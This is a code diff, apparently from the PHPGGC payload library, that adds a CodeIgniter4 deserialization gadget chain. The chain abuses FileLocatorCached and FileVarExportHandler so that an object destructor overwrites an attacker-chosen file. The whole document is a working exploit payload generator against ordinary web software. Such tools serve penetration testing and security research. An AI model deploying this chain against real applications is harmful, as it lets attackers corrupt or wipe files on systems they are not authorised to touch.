Adding File Delete for CodeIgniter framework

gadgetchains/CodeIgniter4/FD/3/chain.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace GadgetChain\CodeIgniter4;
+
+class FD3 extends \PHPGGC\GadgetChain\FileDelete
+{
+    public static $version = '4.5 <= 4.7+';
+    public static $vector = '__destruct';
+    public static $author = 'reverseth';
+    public static $information = 'Actually, this POP chain writes (or replaces the content of) the choosen file with the following content : "<?php return array (0 => \'\',);" It is also possible to choose a string to write inside the array ("<?php return array (0 => \'<here>\',);"), but I did not find a way to execute it. Thus, I decided to push it as a FD, and not as a FW.';
+
+    public function generate(array $parameters)
+    {
+        $obj = new \CodeIgniter\Autoloader\FileLocatorCached($parameters['remote_path']);
+        $obj->cacheHandler = new \CodeIgniter\Cache\FactoriesCache\FileVarExportHandler();
+        return $obj;
+    }
+}

gadgetchains/CodeIgniter4/FD/3/gadgets.php

@@ -0,0 +1,25 @@
+<?php
+
+namespace CodeIgniter\Cache\FactoriesCache
+{
+    class FileVarExportHandler 
+    {
+        public $path = "";
+    }
+}
+
+namespace CodeIgniter\Autoloader
+{
+    class FileLocatorCached
+    {
+        public $cacheUpdated = true;
+        public $cacheKey;
+        public $cache = [""];
+        public $cacheHandler;
+
+        public function __construct($remote_path) 
+        {
+            $this->cacheKey = $remote_path;
+        }
+    }
+}